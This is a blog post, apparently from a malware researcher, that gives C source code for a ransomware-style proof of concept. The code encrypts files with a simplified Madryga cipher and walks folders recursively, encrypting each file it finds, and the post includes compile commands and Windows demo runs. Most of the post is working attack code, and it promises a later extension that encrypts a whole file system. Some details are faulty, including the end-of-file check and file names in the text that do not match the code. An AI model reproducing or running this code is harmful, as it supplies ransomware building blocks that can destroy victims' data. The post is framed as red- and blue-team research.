8 minute read

Hello, cybersecurity enthusiasts and white hackers!

cryptography

Since I’m a little busy writing my book for the Packt publishing, I haven’t been writing as often lately. But I’m still working on researching and simulating ransomware.

In one of the previous posts I wrote about the Madryga encryption algorithm and how it affected the VirusTotal detection score.

At the request of one of my readers, I decided to show file encryption and decryption logic using the Madryga algorithm.

practical example 1

First of all, we do not update encryption and decryption functions:

// simplified inner cycle encryption (no key, no rounds)
void madryga_inner_cycle_encrypt_simplified(unsigned char *data, int data_len, uint64_t key) {
  for (int i = data_len - 2; i >= 0; i--) {
    int working_frame_start = (i % data_len + data_len) % data_len;
    int working_frame_mid = ((i + 1) % data_len + data_len) % data_len;
    int working_frame_end = ((i + 2) % data_len + data_len) % data_len;

    uint8_t rotation_bits = data[working_frame_end] & 0x07;

    uint16_t temp = (uint16_t)data[working_frame_mid] << 8 | (uint16_t)data[working_frame_start];
    temp = rotate_left_16(temp, rotation_bits);
    data[working_frame_start] = (uint8_t) temp;
    data[working_frame_mid] = (uint8_t) (temp >> 8);
    
     data[working_frame_end] ^= (uint8_t) key;
  }
}

// simplified inner cycle decryption (no key, no rounds)
void madryga_inner_cycle_decrypt_simplified(unsigned char *data, int data_len, uint64_t key) {
  for (int i = 0; i < data_len - 1; i++) {
    int working_frame_start = (i % data_len + data_len) % data_len;
    int working_frame_mid = ((i + 1) % data_len + data_len) % data_len;
    int working_frame_end = ((i + 2) % data_len + data_len) % data_len;

    // Reverse the XOR
    data[working_frame_end] ^= (uint8_t) key;

    // Reverse the rotation
    uint16_t temp = (uint16_t)data[working_frame_mid] << 8 | (uint16_t)data[working_frame_start];
    uint8_t rotation_bits = data[working_frame_end] & 0x07;
    temp = rotate_right_16(temp, rotation_bits);
    data[working_frame_start] = (uint8_t) temp;
    data[working_frame_mid] = (uint8_t) (temp >> 8);
  }
}

void madryga_encrypt(unsigned char *plaintext, int plaintext_len, uint64_t key) {  
  key ^= RANDOM_CONSTANT;
  
  for(int i=0; i < NUM_ROUNDS; i++){
    madryga_inner_cycle_encrypt_simplified(plaintext, plaintext_len, key);
  }
}

void madryga_decrypt(unsigned char *ciphertext, int ciphertext_len, uint64_t key) {
  key ^= RANDOM_CONSTANT;
  
  for(int i=0; i < NUM_ROUNDS; i++){
    madryga_inner_cycle_decrypt_simplified(ciphertext, ciphertext_len, key);
  }
}

Then, next piece of code implemented encryption and decryption functions for file using a simple block cipher madryga_encrypt and madryga_decrypt. It operates on the file’s data, with a padding mechanism for the case when the data length is not a multiple of 8:

// file encryption function
void encrypt_file(const char *input_path, const char *output_path, uint64_t key) {
  FILE *input_file = fopen(input_path, "rb");
  FILE *output_file = fopen(output_path, "wb");

  if (!input_file || !output_file) {
    perror("Error opening file");
    exit(EXIT_FAILURE);
  }

  fseek(input_file, 0, SEEK_END);
  long file_size = ftell(input_file);
  fseek(input_file, 0, SEEK_SET);

  // process blocks and handle padding
  unsigned char buffer[BLOCK_SIZE];
  size_t bytes_read;
  while ((bytes_read = fread(buffer, 1, BLOCK_SIZE, input_file)) > 0) {
    if (bytes_read < BLOCK_SIZE) {
      // Add padding if necessary
      memset(buffer + bytes_read, 0x90, BLOCK_SIZE - bytes_read);
    }
    madryga_encrypt(buffer, key);
    fwrite(buffer, 1, BLOCK_SIZE, output_file);
  }

  fclose(input_file);
  fclose(output_file);
}

// file decryption function
void decrypt_file(const char *input_path, const char *output_path, uint64_t key) {
  FILE *input_file = fopen(input_path, "rb");
  FILE *output_file = fopen(output_path, "wb");

  if (!input_file || !output_file) {
    perror("error opening file");
    exit(EXIT_FAILURE);
  }

  unsigned char buffer[BLOCK_SIZE];
  size_t bytes_read;
  while ((bytes_read = fread(buffer, 1, BLOCK_SIZE, input_file)) > 0) {
    madryga_decrypt(buffer, key);
    if (ftell(input_file) == EOF) {
      // handle padding removal for the last block
      int padding_start = BLOCK_SIZE - 1;
      while (padding_start >= 0 && buffer[padding_start] == 0x90) {
        padding_start--;
      }
      fwrite(buffer, 1, padding_start + 1, output_file);
    } else {
      fwrite(buffer, 1, BLOCK_SIZE, output_file);
    }
  }

  fclose(input_file);
  fclose(output_file);
}

As you can see, added padding (0x90) when the file size is not a multiple of the block size (8 bytes).

In the decrypt_file function each block is decrypted as usual. If the file size is not a multiple of the block size, the last block will have padding. During decryption, the padding bytes (0x90) are removed to restore the original data. Also the padding bytes are identified by scanning the block from the end until a non-padding byte is found. Only the valid (non-padded) bytes are written for the last block.

A more robust padding scheme is PKCS#7, which appends n bytes of value n to make the block size complete. For example: If 3 bytes are missing to complete a block, add 0x03 0x03 0x03. This ensures unique padding even if the data ends with bytes like 0x90.

The full source code is looks like this hack.c:

/*
 * hack.c
 * encrypt/decrypt file with Madryga algorithm
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2024/01/16/malware-cryptography-24.html
*/
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

#define BLOCK_SIZE 8
#define NUM_ROUNDS 8
const uint64_t RANDOM_CONSTANT = 0x0f1e2d3c4b5a6978;
uint64_t key = 0x0123456789ABCDEF;

// rotate left function for 16-bit integers
uint16_t rotate_left_16(uint16_t value, int bits) {
  return (value << bits) | (value >> (16 - bits));
}

// rotate right function for 16-bit integers
uint16_t rotate_right_16(uint16_t value, int bits) {
  return (value >> bits) | (value << (16 - bits));
}

// simplified inner cycle encryption
void madryga_inner_cycle_encrypt(unsigned char *data, int data_len, uint64_t key) {
  for (int i = data_len - 2; i >= 0; i--) {
    int start = i % data_len;
    int mid = (i + 1) % data_len;
    int end = (i + 2) % data_len;

    uint8_t rotation_bits = data[end] & 0x07;

    uint16_t temp = (uint16_t)data[mid] << 8 | (uint16_t)data[start];
    temp = rotate_left_16(temp, rotation_bits);
    data[start] = (uint8_t)temp;
    data[mid] = (uint8_t)(temp >> 8);

    data[end] ^= (uint8_t)key;
  }
}

// simplified inner cycle decryption
void madryga_inner_cycle_decrypt(unsigned char *data, int data_len, uint64_t key) {
  for (int i = 0; i < data_len - 1; i++) {
    int start = i % data_len;
    int mid = (i + 1) % data_len;
    int end = (i + 2) % data_len;

    data[end] ^= (uint8_t)key;

    uint16_t temp = (uint16_t)data[mid] << 8 | (uint16_t)data[start];
    uint8_t rotation_bits = data[end] & 0x07;
    temp = rotate_right_16(temp, rotation_bits);
    data[start] = (uint8_t)temp;
    data[mid] = (uint8_t)(temp >> 8);
  }
}

// encrypt a single block
void madryga_encrypt(unsigned char *block, uint64_t key) {
  key ^= RANDOM_CONSTANT;
  for (int i = 0; i < NUM_ROUNDS; i++) {
    madryga_inner_cycle_encrypt(block, BLOCK_SIZE, key);
  }
}

// decrypt a single block
void madryga_decrypt(unsigned char *block, uint64_t key) {
  key ^= RANDOM_CONSTANT;
  for (int i = 0; i < NUM_ROUNDS; i++) {
    madryga_inner_cycle_decrypt(block, BLOCK_SIZE, key);
  }
}

// file encryption function
void encrypt_file(const char *input_path, const char *output_path, uint64_t key) {
  FILE *input_file = fopen(input_path, "rb");
  FILE *output_file = fopen(output_path, "wb");

  if (!input_file || !output_file) {
    perror("Error opening file");
    exit(EXIT_FAILURE);
  }

  fseek(input_file, 0, SEEK_END);
  long file_size = ftell(input_file);
  fseek(input_file, 0, SEEK_SET);

  // process blocks and handle padding
  unsigned char buffer[BLOCK_SIZE];
  size_t bytes_read;
  while ((bytes_read = fread(buffer, 1, BLOCK_SIZE, input_file)) > 0) {
    if (bytes_read < BLOCK_SIZE) {
      // Add padding if necessary
      memset(buffer + bytes_read, 0x90, BLOCK_SIZE - bytes_read);
    }
    madryga_encrypt(buffer, key);
    fwrite(buffer, 1, BLOCK_SIZE, output_file);
  }

  fclose(input_file);
  fclose(output_file);
}

// file decryption function
void decrypt_file(const char *input_path, const char *output_path, uint64_t key) {
  FILE *input_file = fopen(input_path, "rb");
  FILE *output_file = fopen(output_path, "wb");

  if (!input_file || !output_file) {
    perror("error opening file");
    exit(EXIT_FAILURE);
  }

  unsigned char buffer[BLOCK_SIZE];
  size_t bytes_read;
  while ((bytes_read = fread(buffer, 1, BLOCK_SIZE, input_file)) > 0) {
    madryga_decrypt(buffer, key);
    if (ftell(input_file) == EOF) {
      // handle padding removal for the last block
      int padding_start = BLOCK_SIZE - 1;
      while (padding_start >= 0 && buffer[padding_start] == 0x90) {
        padding_start--;
      }
      fwrite(buffer, 1, padding_start + 1, output_file);
    } else {
      fwrite(buffer, 1, BLOCK_SIZE, output_file);
    }
  }

  fclose(input_file);
  fclose(output_file);
}

int main() {
  // encrypt and decrypt a file using Madryga cipher
  const char *input_file = "test.txt";
  const char *encrypted_file = "test-encrypted.bin";
  const char *decrypted_file = "test-decrypted.txt";

  printf("encrypting file: %s\n", input_file);
  encrypt_file(input_file, encrypted_file, key);

  printf("decrypting file: %s\n", encrypted_file);
  decrypt_file(encrypted_file, decrypted_file, key);

  printf("done!\n");
  return 0;
}

As you can see, for test I just encrypt file test.txt and decrypt it.

demo

Let’s compile our PoC code:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

cryptography

Then just run it on Windows 10 x64 machine:

.\hack.exe

As a result, two new files test-enc.bin and test-dec.txt were created.

cryptography

cryptography

cryptography

As we can see, everything is wokred perfectly! =^..^=

practical example 2

But, in the wild, ransomware do not always encrypt the entire file if it is very large. For example Conti ransomware used partial encryption.

Also ransomware recursive encrypt folders, it might look something like this:

void handleFiles(const char* folderPath, uint64_t key) {
  WIN32_FIND_DATAA findFileData;
  char searchPath[MAX_PATH];
  sprintf_s(searchPath, MAX_PATH, "%s\\*", folderPath);

  HANDLE hFind = FindFirstFileA(searchPath, &findFileData);

  if (hFind == INVALID_HANDLE_VALUE) {
    printf("Error: %d\n", GetLastError());
    return;
  }

  do {
    const char* fileName = findFileData.cFileName;

    if (strcmp(fileName, ".") == 0 || strcmp(fileName, "..") == 0) {
      continue;
    }

    char filePath[MAX_PATH];
    sprintf_s(filePath, MAX_PATH, "%s\\%s", folderPath, fileName);

    if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
      // recursive call for subfolders
      handleFiles(filePath, key);
    } else {
      // process individual files
      printf("File: %s\n", filePath);
      char encryptedFilePath[MAX_PATH];
      sprintf_s(encryptedFilePath, MAX_PATH, "%s.bin", filePath);
      encrypt_file(filePath, encryptedFilePath, key);
    }

  } while (FindNextFileA(hFind, &findFileData) != 0);

  FindClose(hFind);
}

As you can see, the logic is pretty simple.
The recursive decryption uses the same trick:

void decryptFiles(const char* folderPath, uint64_t key) {
  WIN32_FIND_DATAA findFileData;
  char searchPath[MAX_PATH];
  sprintf_s(searchPath, MAX_PATH, "%s\\*", folderPath);

  HANDLE hFind = FindFirstFileA(searchPath, &findFileData);

  if (hFind == INVALID_HANDLE_VALUE) {
    printf("error: %d\n", GetLastError());
    return;
  }

  do {
    const char* fileName = findFileData.cFileName;

    if (strcmp(fileName, ".") == 0 || strcmp(fileName, "..") == 0) {
      continue;
    }

    char filePath[MAX_PATH];
    sprintf_s(filePath, MAX_PATH, "%s\\%s", folderPath, fileName);

    if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
      // recursive call for subfolders
      decryptFiles(filePath, key);
    } else {
      // process individual files
      if (strstr(fileName, ".bin") != NULL) {
        printf("File: %s\n", filePath);
        char decryptedFilePath[MAX_PATH];
        sprintf_s(decryptedFilePath, MAX_PATH, "%s.decrypted", filePath);
        decrypt_file(filePath, decryptedFilePath, key);
      }
    }

  } while (FindNextFileA(hFind, &findFileData) != 0);

  FindClose(hFind);
}

demo 2

Let’s see everything in action, compile our PoC code:

x86_64-w64-mingw32-g++ -O2 hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

cryptography

Then just run it on Windows 10 x64 machine:

.\hack.exe

cryptography

cryptography

cryptography

Let’s check a decrypted and original files, for example applied-cryptography.pdf.bin.decrypted:

cryptography

As you can see our simple PoC is worked perfectly.

Of course, the examples I showed still cannot be used to simulate ransomware as needed. To do this, we still need to add a blacklisted directories and we need to add a little speed to our logic.

In the following parts I will implement the logic for encrypting the entire file system, of course this will be separated into a separate project on GitHub and will be used to simulate ransomware attacks.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

Madryga
Malware AV/VM evasion part 13
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine